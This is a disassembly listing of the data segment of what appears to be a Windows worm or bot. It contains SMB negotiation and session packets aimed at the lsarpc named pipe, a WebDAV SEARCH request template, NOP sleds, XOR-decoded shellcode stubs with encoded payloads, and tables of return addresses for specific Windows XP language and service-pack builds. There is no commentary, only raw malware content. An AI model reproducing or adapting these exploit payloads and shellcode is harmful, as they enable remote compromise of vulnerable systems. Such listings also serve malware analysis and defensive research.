		dd 5BADB1C4h, 0FCB06DFh, 6FF714h, 0AA50AEC3h, 0BE20C3AFh
		dd 1D9B9BD2h, 902F08B5h, 0B58AA29Ch, 0AD3EB99h,	656D84B4h
		dd 0DCF9C147h, 812E58D5h, 8B051851h, 665F64B7h,	4F7DCD50h
		dd 0FD32403Ah, 0CAA2048Eh, 0E848D048h, 1C219170h, 0C1F22032h
		dd 2CC3A9E2h, 0AFD8F043h, 0AD2A81EFh, 39300457h, 0ACBB45F6h
		dd 54D4979Ah, 16DFE8BFh, 4BDAB329h, 856AA3B8h, 0A04D2B42h
		dd 0B6FB7E9Bh, 0ABBDC5D7h, 0D9741A3Eh, 584B13DFh, 0EACF0598h
		dd 9CEBFF61h, 3FEC7886h, 3FD3839h, 8BC57D88h, 1615362Dh
		dd 0BE94E81Bh, 10890BE9h, 1114E699h, 2F8C54Fh, 0B195A1B8h
		dd 0F62BCF58h, 3F3E17B2h, 0E2DE1865h, 0B8E74DADh, 0BFFADE91h
		dd 0E6463Ch, 0A37E40A4h, 0A0A1DE35h, 15EBF9DCh,	27AFD30h
		dd 3A2DE938h, 942C18F3h, 64F74713h, 0A03749A7h,	0BFAA1B98h
		dd 0E3028BF5h, 6A5444F4h, 0BF8D9132h, 0C24CE40Ch, 8239677Fh
		dd 4B0E4B66h, 0ACA84C34h, 51110F0Ah, 0A35A3E7Bh, 0F24626FBh
		dd 6D3BAF84h, 81774A00h, 0B7DB7009h, 0A2EFECF5h, 110328F8h
		dd 1D3DB8ADh, 4FC3D6ACh, 7382EFFAh, 7B7D0CAh, 8C01B06h
		dd 0
dword_4473E4	dd 0AD00F0h, 0D00BAh, 0AD00F0h,	0D00BAh, 0AD00F0h, 0D00BAh
					; DATA XREF: seg000:0040E538o
		dd 0AD00F0h, 0AB00BAh, 3 dup(0AB00ABh),	0ABh, 0BAADh, 40000h
		dd 0
		dd 40000h, 430000h, 5C003Ah, 40000h, 0
		dd 40000h, 430000h, 5C003Ah, 40000h, 0
		dd 40000h, 430000h, 5C003Ah, 1F500000h,	130079h, 0
		dd 130000h, 640000h, 6D006Fh, 690061h, 2E006Eh,	610062h
		dd 740073h, 720061h, 2E0074h, 65006Eh, 74h, 0BAADh, 1F980000h
		dd 0B0079h, 0
		dd 0B0000h, 440000h, 4D004Fh, 490041h, 5C004Eh,	4C0042h
		dd 41h,	6C68BAADh, 6FF80013h, 780871B6h, 7906B81Dh, 681B4105h
		dd 0A519318Fh, 8EF1AE30h, 0FEA20E2Dh, 0E10BAE59h, 0F668E92Fh
		dd 3DBBE22Bh, 0C9FE0679h, 10BC298Fh, 7A80C221h,	0AE21D2C8h
		dd 4BB6B50Eh, 6341DBF5h, 503DCD4Fh, 16B2EC49h, 62E61679h
		dd 48066954h, 18A491ADh, 65476540h, 9C51320Ch, 8918033Fh
		dd 0A8CFCA73h, 4544AF4Eh, 45745E1Ah, 2AA23559h,	0B312E7C7h
		dd 250D2D9Bh, 9F72D49Ah, 0CD63800Bh, 0B488DB31h, 0FBFFF7A7h
		dd 8B52B7BEh, 0E24E0F98h, 7E3F94C6h, 0A0BA7AC2h, 8F3EAC69h
		dd 32706D45h, 0FFFA1DFCh, 2FF75D6Eh, 974CDF4Fh,	2A6FD55Eh
		dd 3597F736h, 0EC535F2h, 24D28A6Bh, 0FED5ED62h,	3D5BB4C6h
		dd 51A693F8h, 0EABEB7CDh, 853D253Bh, 7B4CEA2Eh,	0B465545Eh
		dd 63045DD4h, 0E8D119Ah, 51529C16h, 1F717A3Ah, 0B77EE55Ch
		dd 0E653AEBDh, 1A26D3B9h, 24EED272h, 0D590E979h, 533C056Bh
		dd 0AF028119h, 72C03514h, 61FC14ABh, 0F2B90F3Fh, 93DE26C0h
		dd 1796F37h, 0D7DA3452h, 0D815311Dh, 0D143E127h, 0C9CA5CB9h
		dd 0C904E41h, 68CAD06Bh, 0DFDF54F1h, 0FF2E9AE0h, 0F19918E2h
		dd 89B2F77Ah, 6E508D09h, 233B4704h, 91F429ABh, 76117BA2h
		dd 0D09B57DDh, 891B18C9h, 0F4931D47h, 0B2243192h, 0D59B1C2Dh
		dd 85E02CA5h, 0C9BC5C0Eh, 391E990Dh, 78B62407h,	0DE0497A4h
		dd 4862937Dh, 6EA0E05Ah, 0CBA5AFF7h, 68104795h,	0F94C833Dh
		dd 1BEAA05Dh, 0A1E74B9Ah, 56F21589h, 1CD8D722h,	75E3EE2Fh
		dd 77BD6D19h, 0B2415BF0h, 0C573CD85h, 3146AA92h, 4E6AB17Dh
		dd 6038110Dh, 0C5E9C0A5h, 0EE83E634h, 0C79E34F8h, 1F2137D6h
		dd 0C25536DAh, 945DDB80h, 2EAFF676h, 0CF562D07h, 0BB6B6C1Ch
		dd 3C6AF0A7h, 0DE8A55BDh, 0A0DDD260h, 15003D6h,	0E290152h
		dd 0CF353A38h, 51B72663h, 8DCD3FD0h, 986F2F49h,	0C5F77BDh
		dd 364A9BCh, 6A7C6B6Fh,	6E90B28Dh, 6FF80013h, 780871B6h
		dd 6412B81Dh, 712E4483h, 16CE899Eh, 41BF70E6h, 0FE09C7F6h
		dd 0E1DAB4F0h, 24F7E92Fh, 51DE48F1h, 0C9FE5877h, 85B35868h
		dd 74CC2A4h, 0AE00ACC8h, 24D7C0Eh, 63416DF1h, 50ACAB4Fh
		dd 16B2EC49h, 0ADFF1EE6h, 0EC060AA1h, 1EB1C0A2h, 0A5AD6640h
		dd 9CDCD90Ah, 8918DD3Fh, 0A8CFCA73h, 45448B0Bh,	0B574DD10h
		dd 2AA272B4h, 0B312E7C7h, 0AD0D2D9Bh, 9F71D49Ah, 50D7750Bh
		dd 0B488DB31h, 7EFFF7A7h, 8B72B7BEh, 0A14ED9A8h, 7E3F94C6h
		dd 0A0BA60C2h, 0F3EEA69h, 32706D45h, 91FA1DD2h,	2FF75D6Eh
		dd 974C46E4h, 2A6FD58Dh, 3697F736h, 0EC535F2h, 24648A6Bh
		dd 0FED5ED95h, 3D5BB4C6h, 51A60FF8h, 0EABEB7CDh, 74FF8EEAh
		dd 0CD4CEA98h, 0B465545Eh, 63CA5DD4h, 0E8D699Ah, 51529C16h
		dd 1F717A3Ah, 0B77EE55Ch, 0E653AE6Dh, 1A26D3B9h, 24EED272h
		dd 0D590E979h, 533C056Bh, 0AF028119h, 72C03514h, 61FC16F4h
		dd 0F291A03Fh, 93DE26C0h, 1796F37h, 0D7DA34B8h,	0D8153186h
		dd 0D143E144h, 0C9CAF5B2h, 0C906E41h, 68CAD06Bh, 0DFDF54F1h
		dd 0FF2E9AE0h, 0F19918E2h, 897AF77Ah, 6E0E8D09h, 233B4704h
		dd 91F429ABh, 761129A2h, 0D09B57DDh, 891B18C9h,	0F4FD1D47h
		dd 0B2243192h, 0D59B1C2Dh, 85E02CA5h, 0C9BC5C0Eh, 391E990Dh
		dd 78B62407h, 0DE0497A4h, 4862937Dh, 6EA0E05Ah,	0CBA5AFF7h
		dd 688D4795h, 0F94C833Dh, 1BEAA05Dh, 0A1E74B9Ah, 56F21589h
		dd 1CD8D722h, 75C2EE2Fh, 77BD6D19h, 0B2415BF0h,	0C573CD85h
		dd 3146AA92h, 4E6AB17Dh, 6038110Dh, 0C5E9C0A5h,	0DD83F934h
		dd 0C79E34C3h, 1F2137D6h, 0C25536DAh, 945DDB80h, 2EAFF676h
		dd 0CF9D2D07h, 0BB6B6C1Ch, 3C6AF0A7h, 0DE8A55BDh, 0A0DDD260h
		dd 15003D6h, 0E290152h,	0CF353A38h, 51B7263Eh, 8DCD3FD0h
		dd 986F2F49h, 0C5F77BDh, 364A9BCh, 6A7C6B6Fh, 8C0B28Dh
		dd 0
aSPipeLsarpc	db '\\%s\pipe\lsarpc',0 ; DATA XREF: seg000:0040E705o
		align 4
dword_4478F4	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: seg000:0040E94Bo
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkPro_1	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_1	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_447980	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: seg000:0040E98Fo
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows20002_0:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_1:
		unicode	0, <Windows 2000 5.0>,0
		align 4
		dd 0
dword_447A2C	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: seg000:0040E9C2o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 41ED0000h, 2686272Ch
		dd 0B3A059D2h, 8800AA5Eh, 57C56Fh, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_447B0C	dd 5A000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: seg000:0040EA03o
		dd 0FEFF0000h, 300800h,	5A00FF04h, 1000800h, 2F00h, 0
dword_447B40	dd 3F3F0000h, 3F3F3Fh, 0dword_447B4C	dd 66000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: seg000:0040EAE8o
		dd 4780800h, 400800h, 0DE00FF18h, 1000DEh, 16h,	0
		dd 2019Fh, 4 dup(0)
		dd 1, 40h, 2, 1303h, 62005Ch, 6F0072h, 730077h,	720065h
		dd 0
dword_447BB8	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: seg000:0040EB27o
		dd 4780800h, 500800h, 48000010h, 0
		dd 10h,	2 dup(0)
		dd 48005400h, 2005400h,	2600h, 5940h, 50005Ch, 500049h
		dd 5C0045h, 400000h, 30B0005h, 10h, 48h, 1, 10B810B8h
		dd 0
		dd 1, 10000h, 8D9F4E40h, 11CEA03Dh, 8698Fh, 1B05303Eh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_447C5C	dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: seg000:0040EB7Ao
		dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0)
		dd 3C005400h, 2005408h,	2600h, 84D40h, 50005Ch,	500049h
		dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h
		dd 11h,	0
		dd 11h,	4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh
		dd 2 dup(300030h), 0
		dd 0FFFFh, 7E0h, 2 dup(0)
		dd 7C0h, 0
		db 8 dup(90h)
; ---------------------------------------------------------------------------
		jmp	short loc_447D26
; ---------------------------------------------------------------------------
		align 10h
		dd 767A1567h
; ---------------------------------------------------------------------------
		jmp	short loc_447D2E
; ---------------------------------------------------------------------------


loc_447D26:				; CODE XREF: seg002:00447D1Cj
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah


loc_447D2E:				; CODE XREF: seg002:00447D24j
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 9090767Ah
		nop
		nop
		nop
		nop
		nop
		jmp	short loc_447D7D
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 48h
		dd 9088444Fh
		db 90h
; ---------------------------------------------------------------------------


loc_447D7D:				; CODE XREF: seg002:00447D73j
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		dd 0
dword_447D90	dd 7E0h, 4, 2 dup(0)dword_447DA0	dd 0E983C929h, 0D9EED9B0h, 5BF42474h; ---------------------------------------------------------------------------


loc_447DAC:				; CODE XREF: seg002:00447DB6j
		xor	dword ptr [ebx+13h], 3704F519h
		sub	ebx, 0FFFFFFFCh
		loop	loc_447DAC
; ---------------------------------------------------------------------------
		dd 7AEF9FE5h, 0C8FB0CF1h, 5B8F95E6h, 728FD13Dh,	32787E25h
		dd 0BCEBF461h, 688FED56h, 7EEFF439h, 368FC192h,	0AEC4C4F7h
		dd 43C471B5h, 3ACE341Eh, 0C3EF3718h, 1F20A122h,	688F106Ch
		dd 51EFF43Dh, 0BC4FF992h, 0DC05E946h, 0BE8FD91Ah, 5618D175h
		dd 53DFC4DAh, 0BC34B692h, 478FF959h, 778F5805h,	0B96CAB11h
		dd 67E8FB57h, 646223E6h, 5379D7Fh, 5778271h, 0E7FBA146h
		dd 0CBE93E71h, 0E1FBA522h, 51E17C46h, 350C1898h, 0C8069F4Ch
		dd 3EDD9DC9h, 0C85358ECh, 6457A6CFh, 6447A64Ah,	0E7FBA65Ah
		db 7Fh,	9Dh
word_447E5A	dw 551Ah		; DATA XREF: seg000:0040EB93w
		dd 0D68DA67Fh, 2DA09D8Ch, 0C8533269h, 66149FCFh, 5FD40A4Ch
		dd 0DE2A58BDh, 64D20A4Eh, 5FD40A4Ch, 7E82BCFCh,	67D20A4Eh
		dd 0C851A14Dh, 0D06C66C9h, 607D3360h, 0C85123E6h, 536E93C9h
		dd 5A679D7Fh, 676E1090h, 0BEC8DC40h, 0BE409FFEh, 0C4C4C4FBh
		dd 1A460BB3h, 0A428B7E7h, 9C3C8F94h, 456C5EB2h,	0C81246E7h
		dd 0E1FBB16Ch, 6656A242h, 366EA448h, 6651A448h,	9A6C25E6h
		dd 64CAF0C0h, 0C86E23E6h, 0E7FBC2E6h, 0B4F8A292h, 0E1FB91DDh
		dd 5FD40A4Bh, 57E43BF6h, 0C8D20A4Ah, 3704F5C9h,	0
dword_447EFC	dd 73255C5Ch, 4350495Ch, 24hdword_447F08	dd 401150FFh, 0	dword_447F10	dd 142FFA1h, 0	dword_447F18	dd 401138FFh, 0	dword_447F20	dd 14308B9h, 0	dword_447F28	dd 320002h, 90909090h, 0ECC1F631h, 0CE4C10Ch, 0FB89E789h
					; DATA XREF: sub_40EC3D+F0o
		dd 748B016Ah, 0D231FE24h, 0E2C14252h, 56575210h
		db 0B8h
byte_447F4D	db 3 dup(0)		; DATA XREF: sub_40EC3D+1Co
					; sub_40EC3D+43o
		dd 8E8C100h, 0C08510FFh, 0DC890779h, 75F6854Eh,	90E7FFE1h
		dd 3 dup(90909090h)
aRrrrrrrrrrrrrr	db '',0
					; DATA XREF: sub_40EC3D:loc_40EC91o
a1_1_1_1_1_1	db '1.1.1.1.1.1',0
aIa		db 'ë€',0
		align 10h
aV9_1_4691_01	db 'v9.1.4691.0+1',0
		align 10h
aV8_5_3572	db 'v8.5.3572',0
		align 10h
byte_447FD0	db 0EBh			; DATA XREF: sub_40EE3A+D6r
		db 2, 0EBh, 5
		dd 0FFFFF9E8h, 0C08358FFh, 1A08D1Bh, 83FFFFFCh,	0EC8BFCE4h
		dd 0B966C933h
; ---------------------------------------------------------------------------
		or	al, 2


loc_447FEE:				; CODE XREF: seg002:00447FF2j
		xor	byte ptr [eax],	80h
		inc	eax
		loop	loc_447FEE
		adc	[eax-41h], ch
		add	byte ptr [eax-7131F180h], 6Ch
; ---------------------------------------------------------------------------
		dw 7EF2h
		dd 39039633h, 4752F835h, 151CE827h, 0EA21EE9Ah,	475358BDh
		dd 0BF086827h, 0F3F71ECAh, 0B2B3DFB2h, 7C6D4B80h, 758959BBh
		dd 0F09A242Dh, 0AE2D2447h, 6C96569h, 0E4EDE3C9h, 0E4D2DA80h
		dd 80B021E7h, 0B8CC00Bh, 0B2D9CF0h, 720B88D8h, 6F017E0Bh
		dd 80808180h, 883149B3h, 80811068h, 7FD6D280h, 0BDA60D7h
		dd 87460358h, 853149B3h, 8081FC68h, 80036880h, 1E68080h
		dd 0D481106Ch, 808181E8h, 6CD77F80h, 40B36C0Bh,	0D0D0D0D0h
		dd 0D0C0D0C0h, 0B70D77Fh, 0C547E658h, 0E6808280h
		db 47h,	0C5h, 82h
word_44809F	dw 0D080h		; DATA XREF: sub_40EE3A+61w
		db 47h,	0C5h, 84h
		dd 80808080h, 0D3D590EAh, 574D77Fh, 0C062F540h,	0D77FD3D0h
		dd 0D3D0D078h, 0B7CD77Fh, 0B340B358h, 0D7913149h, 2B737D0Bh
		dd 80C546DFh, 0BCDD09C4h, 9B8DD09h, 47E6C0DDh, 8181ACC5h
		dd 0D0C4C50Dh, 0D1D1D1D5h, 0D1C9D1C1h, 7FD1D6D1h, 40B350D7h
		dd 0D77FD0C8h, 0B340B354h, 0D7913149h, 2B737D0Bh, 0C4CD0DDFh
		dd 0D0D0D5D1h, 80EA84EAh, 0D0D6D0D0h, 150D77Fh,	8084806Ch
		dd 8087E880h, 7FD48081h, 0D77FC8F5h, 0E8C0EA58h, 80809080h
		dd 80D080E8h, 7F80EA80h, 0D77FC4F5h, 1580B5Ch, 80818043h
		dd 0A41C0980h, 80808038h, 34A41C09h, 0B808080h,	8484A40Ch
		dd 0C1478080h, 1010107Bh, 7FC14610h, 2690110h, 0EA808081h
		dd 9080E880h, 0D0D18080h, 7FC4F57Fh, 7FD460D7h,	0D77FC8F5h
		dd 0C8F57F64h, 0B368D77Fh, 7FD0C840h, 0D5D354D7h, 0EC0BD7D6h
		dd 0C50B98A4h, 85D40BBCh, 0B5583F8h, 0DA0B98CAh, 635D83A0h
		dd 0B40BC9B9h, 0B375830Bh, 40B37C7Fh, 0F444BA2Ch, 1010108Bh
		dd 8D4F4110h, 6E6B7883h, 94A4FCBBh, 0DA0B5DF5h,	0E65D83A4h
		dd 0BCB8C0Bh, 5D839CDAh, 830B840Bh, 10856B45h, 40B31010h
		dd 0DEDF550Bh, 8442DBDDh, 7FD3D180h, 7F1868B6h,	2D2B7F7Fh
		dd 7162D9DBh, 43h
dword_448200	dd 4Fh,	4Eh, 41h, 42h, 41h, 43h, 41h, 0C1h, 41h, 0C3h
					; DATA XREF: seg000:0040F00Eo
		dd 41h,	0C9h, 41h, 0CAh, 41h, 0CBh, 41h, 0CCh, 41h, 0CDh
		dd 41h,	0CEh, 41h, 0CFh
dword_448260	dd 41h,	0D0h	a?xmlVersion1_0	db '<?xml version="1.0"?>',0Dh,0Ah ; DATA XREF: sub_40EE3A+3Do
		db '<g:searchrequest xmlns:g="DAV:">',0Dh,0Ah
		db '<g:sql>',0Dh,0Ah
		db 'Select "DAV:displayname" from scope()',0Dh,0Ah
		db '</g:sql>',0Dh,0Ah
		db '</g:searchrequest>',0Dh,0Ah,0
aSearchSHttp1_1	db 'SEARCH /%s HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_40EE3A+138o
		db 'Host: %s',0Dh,0Ah
		db 'Content-type: text/xml',0Dh,0Ah
		db 'Content-Length: ',0
aSD		db '%s%d',0Dh,0Ah       ; DATA XREF: sub_40EE3A+15Do
		db 0Dh,0Ah,0
		align 8
aFb		db 'fìÐ',7,0           ; DATA XREF: sub_40F19D+7Eo
		align 10h
dword_448350	dd 129F74h, 0	dword_448358	dd 127D78h, 0	dword_448360	dd 0E983C933h, 0D9EED9B0h, 5BF42474h; ---------------------------------------------------------------------------


loc_44836C:				; CODE XREF: seg002:00448376j
		xor	dword ptr [ebx+13h], 6F50883Dh
		sub	ebx, 0FFFFFFFCh
		loop	loc_44836C
		shl	edx, 0BBh
		and	dl, ch
; ---------------------------------------------------------------------------
		db 71h,	0AFh, 90h
		dd 3DBE8C2h, 2ADBAC19h,	6A2C0301h, 0E4BF8945h, 30DB9072h
		dd 26BB891Dh, 6EDBBCB6h, 0F690B9D3h, 1B900C91h,	629A493Ah
		dd 9BBB4A3Ch, 4774DC06h, 30DB6D48h, 9BB8919h, 0E41B84B6h
		dd 84519462h, 0E6DBA43Eh, 0E4CAC51h, 0B8BB9FEh,	0E460CBB6h
		dd 1FDB847Dh, 2FDB2521h, 0E138D635h, 3FBC8673h,	3C365EC2h
		dd 5D63E05Bh, 5D23FF55h, 0BFAFDC62h, 93BD4355h,	0B9AFD806h
		dd 9B50162h, 6D5865BCh,	9052E268h, 6689E0EDh, 900725C8h
		dd 3C03DBEBh, 3C13DB6Eh, 0BFAFDB7Eh, 0A857E05Bh, 8ED9DB5Bh
		dd 75F4E0A8h, 90074F4Dh, 3E40E2EBh, 7807768h, 867E2599h
		dd 3C86776Ah, 7807768h,	26D6C1D8h, 3F86776Ah, 9005DC69h
		dd 88381BEDh, 38294E44h, 90055EC2h, 0B3AEEEDh, 233E05Bh
		dd 3F3A6DB4h, 0E69CA164h, 0E614E2DAh, 9C90B9DFh, 42127697h
		dd 0FC7CCAC3h, 0C468F2B0h, 1D382396h, 90463BC3h, 0B9AFCC48h
		dd 3E02DF66h, 6E3AD96Ch, 3E05D96Ch, 0C23858C2h,	3C9E8DE4h
		dd 903A5EC2h, 0BFAFBFC2h, 0ECACDFB6h, 0B9AFECF9h, 780776Fh
		dd 305402CDh, 9086776Eh, 6F5088EDh, 0

; =============== S U B	R O U T	I N E =======================================



sub_4484BC	proc near		; DATA XREF: sub_40F19D+AAo

; FUNCTION CHUNK AT 004484C2 SIZE 00000039 BYTES

		pusha
		jmp	short loc_4484C2
sub_4484BC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4484BF	proc near		; CODE XREF: sub_4484BC:loc_4484C2p
		pop	ebx
		push	ebx
		retn
sub_4484BF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4484BC


loc_4484C2:				; CODE XREF: sub_4484BC+1j
		call	sub_4484BF
		xor	eax, eax
		add	al, 34h
		add	eax, ebx
		push	eax
		pop	ebx


loc_4484CF:				; CODE XREF: sub_4484BC+3Cj
		xor	edx, edx
		add	dl, [eax]
		inc	eax
		add	dh, [eax]
		inc	eax
		push	eax
		xor	eax, eax
		add	al, 41h
		sub	dl, al
		sub	dh, al
		shl	dl, 4
		shr	dx, 4
		xor	eax, eax
		xor	dh, dh
		add	al, [ebx]
		sub	[ebx], al
		add	[ebx], dx
		inc	ebx
		pop	eax
		xor	ecx, ecx
		add	cl, [eax]
		loopne	loc_4484CF
		popa
; END OF FUNCTION CHUNK	FOR sub_4484BC
; ---------------------------------------------------------------------------
		db 0
		align 10h
		dd offset aWindowsXpSp01G ; "Windows XP	SP0+1 GER+NL+IT+FR"
dword_448504	dd 77BD3143h	dword_448508	dd 7FCh		byte_44850C	db 1			; DATA XREF: sub_40F19D:loc_40F440r
					; sub_40F19D+2CAr ...
		align 10h
		dd offset aWindowsXpSp01E ; "Windows XP	SP0+1 ENG"
		db 43h
; ---------------------------------------------------------------------------


loc_448515:				; CODE XREF: seg002:00448517j
		xor	eax, eax
		ja	short loc_448515
		pop	es
; ---------------------------------------------------------------------------
		dw 0
		dd 1, 448BF8h, 77BD1F89h, 7FCh,	1, 448C0Ch, 77BD1FA8h
		dd 7FCh, 1, 448C20h, 77BD1FD6h,	7FCh, 1, 448C34h, 77BD2195h
		dd 7FCh, 1, 448C48h, 77BD21B3h,	7FCh, 1, 448C5Ch, 77BD21E0h
		dd 7FCh, 1, 448C70h, 77BD220Ch,	7FCh, 1, 448C84h, 77BD2241h
		dd 7FCh, 1, 448C98h, 77BD22D2h,	7FCh, 1, 448CACh, 77BD28B2h
		dd 7FCh, 1, 448CC0h, 77BD29ABh,	7FCh, 1, 448CD4h, 77BD29E7h
		dd 7FCh, 1, 448CE8h, 77BD29F7h,	7FCh, 1, 448CFCh, 77BD2A03h
		dd 7FCh, 1, 448D10h, 77BD2D6Dh,	7FCh, 1, 448D24h, 77BD2DB3h
		dd 7FCh, 1, 448D38h, 77BD2EC2h,	7FCh, 1, 448D4Ch, 77BD2EDDh
		dd 7FCh, 1, 448D60h, 77BD30AFh,	7FCh, 1, 448D74h, 77BD312Bh
		dd 7FCh, 1, 448D88h, 77BD3160h,	7FCh, 1, 448D9Ch, 77BD349Ah
		dd 7FCh, 1, 448DB0h, 77BD34E4h,	7FCh, 1, 448DC4h, 655B4F02h
		dd 7E7h, 0
		dd offset aWindowsUkXpPro ; "Windows uk	xp pro sp1 1"
		dd 77C01F89h, 7FCh, 1, 448DF8h,	77C01FA8h, 7FCh, 1, 448E10h
		dd 77C01FD6h, 7FCh, 1, 448E28h,	77C02195h, 7FCh, 1, 448E40h
		dd 77C021B3h, 7FCh, 1, 448E58h,	77C021E0h, 7FCh, 1, 448E70h
		dd 77C0220Ch, 7FCh, 1, 448E88h,	77C02241h, 7FCh, 1, 448EA0h
		dd 77C022D2h, 7FCh, 1, 448EB8h,	77C028B2h, 7FCh, 1, 448ED4h
		dd 77C029ABh, 7FCh, 1, 448EF0h,	77C029E7h, 7FCh, 1, 448F0Ch
		dd 77C029F7h, 7FCh, 1, 448F28h,	77C02A03h, 7FCh, 1, 448F44h
		dd 77C02A39h, 7FCh, 1, 448F60h,	77C02D6Dh, 7FCh, 1, 448F7Ch
		dd 77C02DB3h, 7FCh, 1, 448F98h,	77C02EC2h, 7FCh, 1, 448FB4h
		dd 77C02EDDh, 7FCh, 1, 448FD0h,	77C030AFh, 7FCh, 1, 448FECh
		dd 77C0312Bh, 7FCh, 1, 449008h,	77C03143h, 7FCh, 1, 449024h
		dd 77C03160h, 7FCh, 1, 449040h,	77C0349Ah, 7FCh, 1, 44905Ch
		dd 77C034E4h, 7FCh, 1, 449078h,	77B920FDh, 7FCh, 1, 449090h
		dd 77B9211Ch, 7FCh, 1, 4490A8h,	77B9214Ah, 7FCh, 1, 4490C0h
		dd 77B9230Ch, 7FCh, 1, 4490D8h,	77B9232Ah, 7FCh, 1, 4490F0h
		dd 77B92357h, 7FCh, 1, 449108h,	77B92383h, 7FCh, 1, 449120h
		dd 77B923B8h, 7FCh, 1, 449138h,	77B92448h, 7FCh, 1, 449150h
		dd 77B92AAAh, 7FCh, 1, 44916Ch,	77B92BA7h, 7FCh, 1, 449188h
		dd 77B92BE3h, 7FCh, 1, 4491A4h,	77B92BF3h, 7FCh, 1, 4491C0h
		dd 77B92BFFh, 7FCh, 1, 4491DCh,	77B92F78h, 7FCh, 1, 4491F8h
		dd 77B92FBEh, 7FCh, 1, 449214h,	77B930EFh, 7FCh, 1, 449230h
		dd 77B9310Dh, 7FCh, 1, 44924Ch,	77B9330Ch, 7FCh, 1, 449268h
		dd 77B93388h, 7FCh, 1, 449284h,	77B9339Eh, 7FCh, 1, 4492A0h
		dd 77B933BAh, 7FCh, 1, 4492BCh,	77B9373Dh, 7FCh, 1, 4492D8h
		dd 77B9378Ah, 7FCh, 1, 4492F4h,	77B920FDh, 7FCh, 1, 44930Ch
		dd 77B9211Ch, 7FCh, 1, 449324h,	77B9214Ah, 7FCh, 1, 44933Ch
		dd 77B9230Ch, 7FCh, 1, 449354h,	77B9232Ah, 7FCh, 1, 44936Ch
		dd 77B92357h, 7FCh, 1, 449384h,	77B92383h, 7FCh, 1, 44939Ch
		dd 77B923B8h, 7FCh, 1, 4493B4h,	77B92448h, 7FCh, 1, 4493CCh
		dd 77B92AAAh, 7FCh, 1, 4493E8h,	77B92BA7h, 7FCh, 1, 449404h
		dd 77B92BE3h, 7FCh, 1, 449420h,	77B92BF3h, 7FCh, 1, 44943Ch
		dd 77B92BFFh, 7FCh, 1, 449458h,	77B92F78h, 7FCh, 1, 449474h
		dd 77B92FBEh, 7FCh, 1, 449490h,	77B930EFh, 7FCh, 1, 4494ACh
		dd 77B9310Dh, 7FCh, 1, 4494C8h,	77B9330Ch, 7FCh, 1, 4494E4h
		dd 77B93388h, 7FCh, 1, 449500h,	77B9339Eh, 7FCh, 1, 44951Ch
		dd 77B933BAh, 7FCh, 1, 449538h,	77B9373Dh, 7FCh, 1, 449554h
		dd 77B9378Ah, 7FCh, 1, 449570h,	41414141h, 7FCh, 1, 44957Ch
		dd 77E14C29h, 7FCh, 1, 449594h,	77E3CB4Ch, 7FCh, 1, 4495ACh
		dd 77E42C75h, 7FCh, 1, 4495C4h,	77E3C256h, 7FCh, 1, 4495DCh
		dd 77E2AFC5h, 7FCh, 1, 4495F4h,	77E2492Bh, 7FCh, 1, 44960Ch
		dd 77E4FF15h, 7FCh, 1, 449624h,	77E33F4Dh, 7FCh, 1
aWindowsXpSp01G	db 'Windows XP SP0+1 GER+NL+IT+FR',0 ; DATA XREF: seg002:00448500o
		align 10h
aWindowsXpSp01E	db 'Windows XP SP0+1 ENG',0 ; DATA XREF: seg002:00448510o
		align 4
aWindowsNlSp11	db 'Windows nl sp1 1',0
		align 4
aWindowsNlSp12	db 'Windows nl sp1 2',0
		align 10h
aWindowsNlSp13	db 'Windows nl sp1 3',0
		align 4
aWindowsNlSp14	db 'Windows nl sp1 4',0
		align 4
aWindowsNlSp15	db 'Windows nl sp1 5',0
		align 4
